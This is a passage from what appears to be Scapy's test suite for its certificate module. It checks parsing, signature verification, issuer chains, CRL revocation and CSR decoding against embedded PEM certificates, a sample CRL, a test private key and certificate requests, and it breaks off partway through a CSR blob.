19231328316532061413420367242571475005688288081144416166988378525696075445024135424022026378563116068168327239354659928492979285632474448448624869172454076124150405352043642781483254546569202103296262513098482624188672299255268092629150366527784294463900039290024710152521604731213565912934889752122898104556895316819303096201441834849255370122572613047779766933573375974464479123135292080801384304131606933504677232323037116557327478512106367095125103346134248056463878553619525193565824925835325216545121044922690971718737998420984924512388011040969150550056783451476150234324593710633552558175109683813482739004163 x_pubNum.e == 0x10001 = Cert class : Checking extensions x.show() x.tbsCertificate.show() assert x.cA assert x.authorityKeyID == b'\xf3\xd8N\xde\x90\xf7\xe6]\xd2\xce3\xcd\\V\x8co\x97\x141K' not hasattr(x, "keyUsage") = Cert class : encrypt assert len(x.encrypt(b"Scapy")) == 256 = Cert class : export import tempfile, os filename = tempfile.mktemp() x.export(filename) fstat = os.stat(filename) assert fstat.st_size == 1302 os.remove(filename) = Cert class : isIssuer assert x.isIssuer(x) = Cert class : Importing another PEM-encoded X.509 Certificate y = Cert(""" -----BEGIN CERTIFICATE----- MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQsw CQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cu ZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3Qg RzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBlMQswCQYDVQQGEwJV UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQu Y29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQBgcq hkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJf Zn4f5dwbRXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17Q RSAPWXYQ1qAk8C3eNvJsKTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/ BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgFUaFNN6KDec6NHSrkhDAKBggqhkjOPQQD AwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5FyYZ5eEJJZVrmDxxDnOOlY JjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy1vUhZscv 6pZjamVFkpUBtA== -----END CERTIFICATE----- """) = Cert class : Checking ECDSA public key assert type(y.pubkey) is PubKeyECDSA pubkey = y.pubkey.pubkey assert pubkey.curve.name == 'secp384r1' pubkey.public_numbers().x == 3987178688175281746349180015490646948656137448666005327832107126183726641822596270780616285891030558662603987311874 = Cert class : Checking ECDSA signature raw(y.signatureValue) == b'0d\x020%\xa4\x81E\x02k\x12KutO\xc8#\xe3p\xf2ur\xde|\x89\xf0\xcf\x91ra\x9e^\x10\x92YV\xb9\x83\xc7\x10\xe78\xe9X&6}\xd5\xe44\x869\x020|6S\xf00\xe5bc:\x99\xe2\xb6\xa3;\x9b4\xfa\x1e\xda\x10\x92q^\x91\x13\xa7\xdd\xa4n\x92\xcc2\xd6\xf5!f\xc7/\xea\x96cjeE\x92\x95\x01\xb4' = Cert class : Test show awaited = """ Serial: 15459312981008553731928384953135426796 Issuer: /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Assured ID Root G3 Subject: /C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Assured ID Root G3 Validity: 2013-08-01 12:00:00 UTC to 2038-01-15 12:00:00 UTC """ with ContextManagerCaptureOutput() as cmco: y.show() assert cmco.get_output().strip() == awaited.strip() = Cert class : Check split_pem on chained certs with missing end \n from scapy.layers.tls.cert import split_pem ks = split_pem(b""" -----BEGIN EC PRIVATE KEY----- MHQCAQEEIMiRlFoy6046m1NXu911ukXyjDLVgmOXWCKWdQMd8gCRoAcGBSuBBAAK oUQDQgAE55WjbZjS/88K1kYagsO9wtKifw0IKLp4Jd5qtmDF2Zu+xrwrBRT0HBnP weDU+RsFxcyU/QxD9WYORzYarqxbcA== -----END EC PRIVATE KEY----- -----BEGIN EC PRIVATE KEY----- MHQCAQEEIMiRlFoy6046m1NXu911ukXyjDLVgmOXWCKWdQMd8gCRoAcGBSuBBAAK oUQDQgAE55WjbZjS/88K1kYagsO9wtKifw0IKLp4Jd5qtmDF2Zu+xrwrBRT0HBnP weDU+RsFxcyU/QxD9WYORzYarqxbcA== -----END EC PRIVATE KEY-----""") assert ks[0][:-1] == ks[1] = Cert class : Import PEM-encoded certificate with ed25519 signature x = Cert(""" -----BEGIN CERTIFICATE----- MIICqDCCAZCgAwIBAgIUYYDvh160/Q32Q/MuCGSfIYxTwwEwDQYJKoZIhvcNAQEL BQAwVDELMAkGA1UEBhMCTU4xFDASBgNVBAcMC1VsYWFuYmFhdGFyMRcwFQYDVQQL DA5TY2FweSBUZXN0IFBLSTEWMBQGA1UEAwwNU2NhcHkgVGVzdCBDQTAeFw0yNDA3 MTQxOTU4MzNaFw0zNDA3MTUxOTU4MzNaMFgxCzAJBgNVBAYTAk1OMRQwEgYDVQQH DAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVzdCBQS0kxGjAYBgNVBAMM EVNjYXB5IFRlc3QgU2VydmVyMCowBQYDK2VwAyEAB8exZcGWUFeio0aPES732u5l GXRUuaktLmSIQB8PoPejaDBmMA8GA1UdEwEB/wQFMAMCAQEwEwYDVR0lBAwwCgYI KwYBBQUHAwEwHQYDVR0OBBYEFJOzQR0udLrz7IiLP3q+FehLxijkMB8GA1UdIwQY MBaAFGZTlPQV0b1naLBRNzI14aSq3gd8MA0GCSqGSIb3DQEBCwUAA4IBAQCRk6TP XKfSy2fwodsYe1bedhL9mlm9xDDOu6ILkDZtCpbOwrjeSf+U7VQYvdlI8QCeQyEK ZE/S3S5UzOjEv7fQpyqfG9aJJbH7OQwG25ShiX86Kt/RAkgtjyCmKevhT6uSs5fa BsdYWnS9WHWH5ZkWkjZt1K2xYJP4Lqg9VpHy/YNz4b5swXEWf+MdayVSgzPxoviG zXnsTrxiTcGvelGFm/lYc42u6cSqrHoLtfniyaGNvPwrfBsiY/cypN4GZLNgEk80 /tcAg2TeUGNbMbT4Rko1OMLxMT9zRzgJyjd/XyW/5fCE/Xm0q7VYo1EF1ScywU1B XwZH9DJ6Ud0s8/j+ -----END CERTIFICATE----- """) = Cert class : Change subject public key identifier and resign c = Cert(""" -----BEGIN CERTIFICATE----- MIICRjCCAc2gAwIBAgIQC6Fa+h3foLVJRK/NJKBs7DAKBggqhkjOPQQDAzBlMQsw CQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cu ZGlnaWNlcnQuY29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3Qg RzMwHhcNMTMwODAxMTIwMDAwWhcNMzgwMTE1MTIwMDAwWjBlMQswCQYDVQQGEwJV UzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQu Y29tMSQwIgYDVQQDExtEaWdpQ2VydCBBc3N1cmVkIElEIFJvb3QgRzMwdjAQBgcq hkjOPQIBBgUrgQQAIgNiAAQZ57ysRGXtzbg/WPuNsVepRC0FFfLvC/8QdJ+1YlJf Zn4f5dwbRXkLzMZTCp2NXQLZqVneAlr2lSoOjThKiknGvMYDOAdfVdp+CW7if17Q RSAPWXYQ1qAk8C3eNvJsKTmjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/ BAQDAgGGMB0GA1UdDgQWBBTL0L2p4ZgFUaFNN6KDec6NHSrkhDAKBggqhkjOPQQD AwNnADBkAjAlpIFFAmsSS3V0T8gj43DydXLefInwz5FyYZ5eEJJZVrmDxxDnOOlY JjZ91eQ0hjkCMHw2U/Aw5WJjOpnitqM7mzT6HtoQknFekROn3aRukswy1vUhZscv 6pZjamVFkpUBtA== -----END CERTIFICATE----- """) k = PrivKeyECDSA() c.setSubjectPublicKeyFromPrivateKey(k) c.setSubjectPublicKeyFromPrivateKey(k.pubkey) c = Cert(k.resignCert(c)) assert k.verifyCert(c) ########### CRL class ############################################### + CRL class tests = CRL class : Importing PEM-encoded CRL x = CRL(""" -----BEGIN X509 CRL----- MIICHjCCAYcwDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMxFzAVBgNVBAoT DlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAxIFB1YmxpYyBQcmltYXJ5 IENlcnRpZmljYXRpb24gQXV0aG9yaXR5Fw0wNjExMDIwMDAwMDBaFw0wNzAyMTcy MzU5NTlaMIH2MCECECzSS2LEl6QXzW6jyJx6LcgXDTA0MDQwMTE3NTYxNVowIQIQ OkXeVssCzdzcTndjIhvU1RcNMDEwNTA4MTkyMjM0WjAhAhBBXYg2gRUg1YCDRqhZ kngsFw0wMTA3MDYxNjU3MjNaMCECEEc5gf/9hIHxlfnrGMJ8DfEXDTAzMDEwOTE4 MDYxMlowIQIQcFR+auK62HZ/R6mZEEFeZxcNMDIwOTIzMTcwMDA4WjAhAhB+C13e GPI5ZoKmj2UiOCPIFw0wMTA1MDgxOTA4MjFaMCICEQDQVEhgGGfTrTXKLw1KJ5Ve Fw0wMTEyMTExODI2MjFaMA0GCSqGSIb3DQEBBQUAA4GBACLJ9rsdoaU9JMf/sCIR s3AGW8VV3TN2oJgiCGNEac9PRyV3mRKE0hmuIJTKLFSaa4HSAzimWpWNKuJhztsZ zXUnWSZ8VuHkgHEaSbKqzUlb2g+o/848CvzJrcbeyEBkDCYJI5C3nLlQA49LGJ+w 4GUPYBwaZ+WFxCX1C8kzglLm -----END X509 CRL----- """) = CRL class : Checking version x.version == 1 = CRL class : Checking issuer extraction in basic format (/C=FR ...) x.issuer_str == '/C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification Authority' = CRL class : Checking lastUpdate date extraction in tuple format x.lastUpdate == (2006, 11, 2, 0, 0, 0, 3, 306, -1) = CRL class : Checking nextUpdate date extraction in tuple format x.nextUpdate == (2007, 2, 17, 23, 59, 59, 5, 48, -1) = CRL class : Checking number of revoked certificates len(x.revoked_cert_serials) == 7 = CRL class : Checking presence of one revoked certificate (94673785334145723688625287778885438961, '030109180612') in x.revoked_cert_serials = Cert/CRL class : Checking isRevoked cx = X509_Cert() cx.tbsCertificate.serialNumber.val = 59577943160751197113872490992424857032 cx.tbsCertificate.issuer = x.x509CRL.tbsCertList.issuer cx = Cert(raw(cx)) assert cx.isRevoked([x]) = CRL class : Test show awaited = """ Version: 1 sigAlg: sha1-with-rsa-signature Issuer: /C=US/O=VeriSign, Inc./OU=Class 1 Public Primary Certification Authority lastUpdate: 2006-11-02 00:00:00 UTC nextUpdate: 2007-02-17 23:59:59 UTC """ with ContextManagerCaptureOutput() as cmco: x.show() assert cmco.get_output().strip() == awaited.strip() ########### High-level methods ############################################### = Cert class : Checking isIssuer() c0 = Cert(""" -----BEGIN CERTIFICATE----- MIIFVjCCBD6gAwIBAgIJAJmDv7HOC+iUMA0GCSqGSIb3DQEBCwUAMIHGMQswCQYD VQQGEwJVUzEQMA4GA1UECBMHQXJpem9uYTETMBEGA1UEBxMKU2NvdHRzZGFsZTEl MCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEzMDEGA1UECxMq aHR0cDovL2NlcnRzLnN0YXJmaWVsZHRlY2guY29tL3JlcG9zaXRvcnkvMTQwMgYD VQQDEytTdGFyZmllbGQgU2VjdXJlIENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcy MB4XDTE1MTAxMzE2NDIzOFoXDTE2MTEzMDIzMzQxOVowPjEhMB8GA1UECxMYRG9t YWluIENvbnRyb2wgVmFsaWRhdGVkMRkwFwYDVQQDDBAqLnRvb2xzLmlldGYub3Jn MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAseE36OuC1on62/XCS3fw LErecm4+E2DRqGYexK09MmDl8Jm19Hp6SFUh7g45EvnODcr1aWHHBO1uDx07HlCI eToOMUEW8bECZGilzfVKCsqZljUIw34nXdCpz/PnKK832LZ73fN+rm6Xf/fKaU7M 0AbfXSebOxLn5v4Ia1J7ghF8crNG68HoeLgPy+HrvQZEWNyDULKgYlvcgbg24558 ebKpU4rgC8lKKhM5MRO9LM+ocM+MjT0Bo4iuEgA2HR4kK9152FMBJu0oT8mGlINO yOEULoWzr9Ru3WlGr0ElDnqti/KSynnZezJP93fo+bRPI1zUXAOu2Ks6yhNfXV1d oQIDAQABo4IBzDCCAcgwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcD AQYIKwYBBQUHAwIwDgYDVR0PAQH/BAQDAgWgMDwGA1UdHwQ1MDMwMaAvoC2GK2h0 dHA6Ly9jcmwuc3RhcmZpZWxkdGVjaC5jb20vc2ZpZzJzMS0xNy5jcmwwWQYDVR0g BFIwUDBOBgtghkgBhv1uAQcXATA/MD0GCCsGAQUFBwIBFjFodHRwOi8vY2VydGlm aWNhdGVzLnN0YXJmaWVsZHRlY2guY29tL3JlcG9zaXRvcnkvMIGCBggrBgEFBQcB AQR2MHQwKgYIKwYBBQUHMAGGHmh0dHA6Ly9vY3NwLnN0YXJmaWVsZHRlY2guY29t LzBGBggrBgEFBQcwAoY6aHR0cDovL2NlcnRpZmljYXRlcy5zdGFyZmllbGR0ZWNo LmNvbS9yZXBvc2l0b3J5L3NmaWcyLmNydDAfBgNVHSMEGDAWgBQlRYFoUCY4PTst LL7Natm2PbNmYzArBgNVHREEJDAighAqLnRvb2xzLmlldGYub3Jngg50b29scy5p ZXRmLm9yZzAdBgNVHQ4EFgQUrYq0HAdR15KJB7C3hGIvNlV6X00wDQYJKoZIhvcN AQELBQADggEBAAxfzShHiatHrWnTGuRX9BmFpHOFGmLs3PtRRPoOUEbZrcTbaJ+i EZpjj4R3eiLITgObcib8+NR1eZsN6VkswZ+rr54aeQ1WzWlsVwBP1t0h9lIbaonD wDV6ME3KzfFwwsZWqMBgLin8TcoMadAkXhdfcEKNndKSMsowgEjigP677l24nHf/ OcnMftgErmTm+jEdW1wUooJoWgbt8TT2uWD8MC62sIIgSQ6miKtg7LhCC1ScyVuN Erk3YzF8mPwouOcnNOKsUnkDXLA2REMedVp48c4ikjLClu6AcIg03ZU+o8fLNqcZ zd1s7DbacrRSSQ+nXDTodqw1HB+77u0RFs0= -----END CERTIFICATE----- """) c1 = Cert(""" -----BEGIN CERTIFICATE----- MIIFADCCA+igAwIBAgIBBzANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs ZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTExMDUwMzA3MDAw MFoXDTMxMDUwMzA3MDAwMFowgcYxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6 b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj aG5vbG9naWVzLCBJbmMuMTMwMQYDVQQLEypodHRwOi8vY2VydHMuc3RhcmZpZWxk dGVjaC5jb20vcmVwb3NpdG9yeS8xNDAyBgNVBAMTK1N0YXJmaWVsZCBTZWN1cmUg Q2VydGlmaWNhdGUgQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDlkGZL7PlGcakgg77pbL9KyUhpgXVObST2yxcT+LBxWYR6ayuF pDS1FuXLzOlBcCykLtb6Mn3hqN6UEKwxwcDYav9ZJ6t21vwLdGu4p64/xFT0tDFE 3ZNWjKRMXpuJyySDm+JXfbfYEh/JhW300YDxUJuHrtQLEAX7J7oobRfpDtZNuTlV Bv8KJAV+L8YdcmzUiymMV33a2etmGtNPp99/UsQwxaXJDgLFU793OGgGJMNmyDd+ MB5FcSM1/5DYKp2N57CSTTx/KgqT3M0WRmX3YISLdkuRJ3MUkuDq7o8W6o0OPnYX v32JgIBEQ+ct4EMJddo26K3biTr1XRKOIwSDAgMBAAGjggEsMIIBKDAPBgNVHRMB Af8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUJUWBaFAmOD07LSy+ zWrZtj2zZmMwHwYDVR0jBBgwFoAUfAwyH6fZMH/EfWijYqihzqsHWycwOgYIKwYB BQUHAQEELjAsMCoGCCsGAQUFBzABhh5odHRwOi8vb2NzcC5zdGFyZmllbGR0ZWNo LmNvbS8wOwYDVR0fBDQwMjAwoC6gLIYqaHR0cDovL2NybC5zdGFyZmllbGR0ZWNo LmNvbS9zZnJvb3QtZzIuY3JsMEwGA1UdIARFMEMwQQYEVR0gADA5MDcGCCsGAQUF BwIBFitodHRwczovL2NlcnRzLnN0YXJmaWVsZHRlY2guY29tL3JlcG9zaXRvcnkv MA0GCSqGSIb3DQEBCwUAA4IBAQBWZcr+8z8KqJOLGMfeQ2kTNCC+Tl94qGuc22pN QdvBE+zcMQAiXvcAngzgNGU0+bE6TkjIEoGIXFs+CFN69xpk37hQYcxTUUApS8L0 rjpf5MqtJsxOYUPl/VemN3DOQyuwlMOS6eFfqhBJt2nk4NAfZKQrzR9voPiEJBjO eT2pkb9UGBOJmVQRDVXFJgt5T1ocbvlj2xSApAer+rKluYjdkf5lO6Sjeb6JTeHQ sPTIFwwKlhR8Cbds4cLYVdQYoKpBaXAko7nv6VrcPuuUSvC33l8Odvr7+2kDRUBQ 7nIMpBKGgc0T0U7EPMpODdIm8QC3tKai4W56gf0wrHofx1l7 -----END CERTIFICATE----- """) c2 = Cert(""" -----BEGIN CERTIFICATE----- MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs ZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAw MFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6 b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj aG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZp Y2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC ggEBAL3twQP89o/8ArFvW59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMg nLRJdzIpVv257IzdIvpy3Cdhl+72WoTsbhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1 HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNkN3mSwOxGXn/hbVNMYq/N Hwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7NfZTD4p7dN dloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0 HZbUJtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAO BgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0G CSqGSIb3DQEBCwUAA4IBAQARWfolTwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjU sHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx4mcujJUDJi5DnUox9g61DLu3 4jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUwF5okxBDgBPfg 8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1 mMpYjn0q7pBZc2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0 -----END CERTIFICATE----- """) assert c0.isIssuer(c1) and c1.isIssuer(c2) and not c0.isIssuer(c2) = Cert class : Checking isSelfSigned() assert c2.isSelfSigned() and not c1.isSelfSigned() and not c0.isSelfSigned() = PubKey class : Checking verifyCert() assert c2.pubkey.verifyCert(c2) and c1.pubkey.verifyCert(c0) = CertTree class : Checking verification of chain chain0 = CertTree([c0, c1, c2]).getchain(c0) assert len(chain0) == 3 assert chain0[0] == c1 assert chain0[1] == c0 assert chain0[2] == c2 chain1 = CertTree([c2, c1, c0]).getchain(c1) assert len(chain1) == 2 assert chain1[0] == c1 assert chain1[1] == c2 chain2 = CertTree([c0, c2, c1]).getchain(c2) assert len(chain2) == 1 assert chain2[0] == c2 = CertTree class : show() expected_repr = '/C=US/ST=Arizona/L=Scottsdale/O=Starfield Technologies, Inc./CN=Starfield Root Certificate Authority - G2 [Self Signed]\n /C=US/ST=Arizona/L=Scottsdale/O=Starfield Technologies, Inc./OU=http://certs.starfieldtech.com/repository//CN=Starfield Secure Certificate Authority - G2 [Not Self Signed]\n /OU=Domain Control Validated/CN=*.tools.ietf.org [Not Self Signed]\n' assert CertTree([c0, c1, c2]).show(ret=True) == expected_repr repr_str = CertTree([], c0).show(ret=True) assert repr_str == '/OU=Domain Control Validated/CN=*.tools.ietf.org [Not Self Signed]\n' = CertTree class : verify CertTree([c1, c2]).verify(c0) CertTree([c2]).verify(c1) try: CertTree([c1]).verify(c0) assert False except ValueError: pass try: CertTree([c2]).verify(c0) assert False except ValueError: pass = Test GeneralizedTime data = b"MHAwXAIBADANBgkqhkiG9w0BAQ0FADAAMCIYDzIwMTExMDA2MDgzOTU2WhgPMjA0NjEwMDYwODM5NTZaMAAwHDANBgkqhkiG9w0BAQEFAAMLADAIAgEAAgMBAAGjAjAAMA0GCSqGSIb3DQEBDQUAAwEA" import tempfile, os _, filename = tempfile.mkstemp() fd = open(filename, "wb") fd.write(b"-----BEGIN CERTIFICATE-----\n") fd.write(data) fd.write(b"-----END CERTIFICATE-----\n") fd.close() cert = Cert(filename) assert "2011" in cert.notBefore_str and "2046" in cert.notAfter_str + CSR = CSR class - Parse CSR in PKCS#10 format - Normal from scapy.layers.tls.cert import CSR csr = CSR(""" -----BEGIN NEW CERTIFICATE REQUEST----- MIIEEDCCAvgCAQAwIzEQMA4GA1UECgwHVGVzdE9yZzEPMA0GA1UEAwwGVGVzdENO MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7QfRs3mjYec2JJDiFJkA Sq0hfCdWo9hbX75FfWAh2Pid4NsCu/8vsfHwezFoQehpzIJq7tXH6mip8fiIEtzA 3WsXq7AknJmoaSIGu/g85zoypgqUfKvvrsof6h8avg16unm/LiDe7GGUh135L61W XjQRQZcb/J+e4NDe4vO1qKauviB8N29tarMgtWCN29xdP2MmWsKG7OdKoCkeCUBv T8J6TwtOtgcnz88cg5TpNZd9DeloqQVO+Y6mB3F7Moup1RMzNNfvXX7VwJs19quH QVvpGMqMdKvBOcFMWBzkp5yz8rz906Up6IMtJ5lebnZiM78qMASce09XXUoQeRa2 yQIDAQABoIIBpjAcBgorBgEEAYI3DQIDMQ4WDDEwLjAuMjYxMDAuMjBCBgorBgEE AYI3DQIBMTQwMh4mAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBUAGUAbQBwAGwAYQB0 AGUeCABVAHMAZQByMEcGCSsGAQQBgjcVFDE6MDgCAQkMEERDMS5ET01BSU4uTE9D QUwMFERPTUFJTlxBZG1pbmlzdHJhdG9yDAtjZXJ0cmVxLmV4ZTB0BgorBgEEAYI3 DQICMWYwZAIBAR5cAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBk ACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAg AHYAMQAuADADAQAwgYIGCSqGSIb3DQEJDjF1MHMwFwYJKwYBBAGCNxQCBAoeCABV AHMAZQByMCkGA1UdJQQiMCAGCisGAQQBgjcKAwQGCCsGAQUFBwMEBggrBgEFBQcD AjAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0OBBYEFHTYQp8vpznjtd/YUFReYLZ3KkGL MA0GCSqGSIb3DQEBBQUAA4IBAQDB2DQqAlezF5kf5m7LQ46nacqmhi7UCKbAV4kV REkBdOqLLac50rerzCbSLFD8py0dVtqzD8+ccsm/jmadIwIiGLy/4YLfFiSyA4CK MiHpDb5iVCPlhA7uod9w0/tvtjDRvoipog1VA2B9GL2vDn2RAMa4BOnI2dM1OZdH V7UC9kRspJrzO0wMl68VQU6t7cGi+jfxEO735OEfRGkRRUuBXq6azBswlelA4+Ha 997g/CwZmlIUB4D1vZrXZkIvLWybkGtlP369LePN91jUBJr2rDw4nyfulSZEDKwb L8SaD6ZFk+ZchJPx0UhG13GHdUJZb2brHV+gYZRusX8LOauO -----END NEW CERTIFICATE REQUEST----- """) assert csr.verifySelf() csr assert isinstance(csr.csr, PKCS10_CertificationRequest) pkcs10 = csr.csr assert pkcs10.certificationRequestInfo.get_subject() == {'organizationName': 'TestOrg', 'commonName': 'TestCN'} assert pkcs10.certificationRequestInfo.attributes[0].type.oidname == 'OID_OS_VERSION' assert pkcs10.certificationRequestInfo.attributes[0].values[0].value == b'10.0.26100.2' assert pkcs10.certificationRequestInfo.attributes[3].type.oidname == 'OID_ENROLLMENT_CSP_PROVIDER' assert pkcs10.certificationRequestInfo.attributes[3].values[0].value.ProviderName.val.decode("utf-16be") == 'Microsoft Enhanced Cryptographic Provider v1.0' assert pkcs10.certificationRequestInfo.attributes[4].values[0].value.extensions[0].extnID.oidname == "ENROLL_CERTTYPE" assert pkcs10.certificationRequestInfo.attributes[4].values[0].value.extensions[0].extnValue.Name.val == b'\x00U\x00s\x00e\x00r' = CSR class - Parse CSR in CMC format - Normal (sha1) from scapy.layers.tls.cert import CSR csr = CSR(""" -----BEGIN NEW CERTIFICATE REQUEST----- MIIGuwYJKoZIhvcNAQcCoIIGrDCCBqgCAQMxCzAJBgUrDgMCGgUAMIIFFQYIKwYB BQUHDAKgggUHBIIFAzCCBP8wgdkwZgIBAgYKKwYBBAGCNwoKATFVMFMCAQAwAwIB ATFJMEcGCSsGAQQBgjcVFDE6MDgCAQkMEERDMS5ET01BSU4uTE9DQUwMFERPTUFJ TlxBZG1pbmlzdHJhdG9yDAtjZXJ0cmVxLmV4ZTBvAgEDBggrBgEFBQcHCDFgMF4C AQAwAwIBATBUMBcGCSsGAQQBgjcUAgQKHggAVQBzAGUAcjApBgNVHSUEIjAgBgor BgEEAYI3CgMEBggrBgEFBQcDBAYIKwYBBQUHAwIwDgYDVR0PAQH/BAQDAgWgMIIE G6CCBBcCAQEwggQQMIIC+AIBADAjMRAwDgYDVQQKDAdUZXN0T3JnMQ8wDQYDVQQD DAZUZXN0Q04wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDDmuBEjKaX ETewhcD5qoa4Qx+6H7YWColwCukmf6Bg8lwq3nHXEXHZjBfZaLHcev1xEgKd25L9 kZtMUYeMK/zxX2C0x5xbsJR18/sJ9GZ5YqzUhlGW8PaLaql6g2e+jpzd9m1kU+IK 3Wx/bwZ2TmMjZoikHPym4Kzieyimqty8FxU1fBNkcNopLxaFVlclprwXqrdHXALC /OWZIzUNcjAaTnVU4qFx7Mb65ik4klVsRiO1nR1dVeJWbMa8gvUhcglsZyH/wRwD lHwpYGY1LO27Z9baBJojraTr0z0YiOWj6BjWfRy9FsbI+sFwLzskaUbcjdvI+UmL P7Nji0zGrksZAgMBAAGgggGmMBwGCisGAQQBgjcNAgMxDhYMMTAuMC4yNjEwMC4y MEIGCisGAQQBgjcNAgExNDAyHiYAQwBlAHIAdABpAGYAaQBjAGEAdABlAFQAZQBt AHAAbABhAHQAZR4IAFUAcwBlAHIwRwYJKwYBBAGCNxUUMTowOAIBCQwQREMxLkRP TUFJTi5MT0NBTAwURE9NQUlOXEFkbWluaXN0cmF0b3IMC2NlcnRyZXEuZXhlMHQG CisGAQQBgjcNAgIxZjBkAgEBHlwATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABh AG4AYwBlAGQAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBp AGQAZQByACAAdgAxAC4AMAMBADCBggYJKoZIhvcNAQkOMXUwczAXBgkrBgEEAYI3 FAIECh4IAFUAcwBlAHIwKQYDVR0lBCIwIAYKKwYBBAGCNwoDBAYIKwYBBQUHAwQG CCsGAQUFBwMCMA4GA1UdDwEB/wQEAwIFoDAdBgNVHQ4EFgQUJm+5vprbywwUFsNc npQt/zP+3BEwDQYJKoZIhvcNAQEFBQADggEBAHbi+2oaM9oRugYC6lfmRJHOKJ62 DP/A41KZEe+7tZfrLSeOra6hNg10LZCJXE3Sg8rzE26/ZU/raJjxNytHH4NuhyxV gZddYbekxRMey3ou2qSbotRATWYVEt7eW3+eJxunpEiuAZ4+Q0l5OcoT2XY85m+V 0goQFs3VHDDhbiDdm2TFikNA6Soi0H3Fe9Fdy36N9ua7Z5EwPhNCkorVU4C+XA+u 